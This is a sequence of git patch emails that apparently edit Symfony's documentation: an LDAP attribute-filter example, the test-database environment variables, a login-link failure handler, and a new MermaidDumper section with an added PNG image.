 prefixes:
 

From 2e77005d76dff81a99055f7eca8286bec44f850e Mon Sep 17 00:00:00 2001
From: Jason Aller <jraller@gmail.com>
Date: Thu, 8 Apr 2021 13:29:05 -0700
Subject: [PATCH 0699/5766] [Ldap] Update ldap.rst

---
 components/ldap.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/ldap.rst b/components/ldap.rst
index d7cb6ed17cd..60c4629fec9 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -115,6 +115,11 @@ to the ``LDAP_SCOPE_BASE`` scope of :phpfunction:`ldap_read`) and ``SCOPE_ONE``
 
     $query = $ldap->query('dc=symfony,dc=com', '...', ['scope' => QueryInterface::SCOPE_ONE]);
 
+To retrieve only specific attributes you can specify which attributes you want returned using 
+the ``filter`` option::
+
+    $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn, mail']);
+
 Creating or Updating Entries
 ----------------------------
 

From 4586d288f27709970e2c60f6c51ccd66d5e4667e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 Apr 2021 08:57:23 +0200
Subject: [PATCH 0700/5766] Minor reword

---
 components/ldap.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/ldap.rst b/components/ldap.rst
index 60c4629fec9..5b16a3ffb97 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -115,8 +115,7 @@ to the ``LDAP_SCOPE_BASE`` scope of :phpfunction:`ldap_read`) and ``SCOPE_ONE``
 
     $query = $ldap->query('dc=symfony,dc=com', '...', ['scope' => QueryInterface::SCOPE_ONE]);
 
-To retrieve only specific attributes you can specify which attributes you want returned using 
-the ``filter`` option::
+Use the ``filter`` option to only retrieve some specific attributes:
 
     $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn, mail']);
 

From 5529b12eb11e8557c6f94fc663bee2beb42c0490 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 Apr 2021 12:00:38 +0200
Subject: [PATCH 0701/5766] Minor tweak

---
 setup/symfony_server.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 580af42bfba..7420a822ab6 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -322,9 +322,9 @@ prefixed with ``DB_``, but as the ``com.symfony.server.service-prefix`` is set
 to ``DATABASE``, the web server creates environment variables starting with
 ``DATABASE_`` instead as expected by the default Symfony configuration.
 
-You don't need to create two containers for a main database and a test database.
-Using `APP_ENV=test symfony` will automatically adjust `DATABASE_*` environment variables
-for a test environment.
+You don't need to create two containers for the main database and the test
+database. Using ``APP_ENV=test symfony`` will automatically adjust
+``DATABASE_*`` environment variables for the ``test`` environment:
 
 .. code-block:: terminal
 

From 3780af231b78da570d6d1bf757b9206c29e1cc7e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micka=C3=ABl?= <50833583+Mis0u@users.noreply.github.com>
Date: Tue, 13 Apr 2021 14:08:16 +0200
Subject: [PATCH 0702/5766] Update login_link.rst

I propose this change to manage the case of the link is invalid
---
 security/login_link.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security/login_link.rst b/security/login_link.rst
index 456cfc706c6..f7f5e36751e 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -739,3 +739,5 @@ Then, configure this service ID as the ``success_handler``:
                 ],
             ],
         ]);
+        
+If you want to manage the failure for example the link is expires, use 'failure_handler' and implements "AuthenticationFailureHandlerInterface" instand of "AuthenticationSuccessHandlerInterface"

From b7340c7e7633177d37230bda2923bf3b1cb1d01d Mon Sep 17 00:00:00 2001
From: Stefan Graupner <efrane@meanderingsoul.com>
Date: Sun, 14 Mar 2021 15:38:24 +0100
Subject: [PATCH 0703/5766] [Workflow] Add info about MermaidDumper

[Workflow] rst syntax fixes
---
 .../components/workflow/blogpost_mermaid.png  | Bin 0 -> 24123 bytes
 workflow/dumping-workflows.rst                |  20 +++++++++++++++++-
 2 files changed, 19 insertions(+), 1 deletion(-)
 create mode 100644 _images/components/workflow/blogpost_mermaid.png

diff --git a/_images/components/workflow/blogpost_mermaid.png b/_images/components/workflow/blogpost_mermaid.png
new file mode 100644
index 0000000000000000000000000000000000000000..b0ffbc984c9dc40ef086aa3cc2f0029ca974a284
GIT binary patch
literal 24123
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
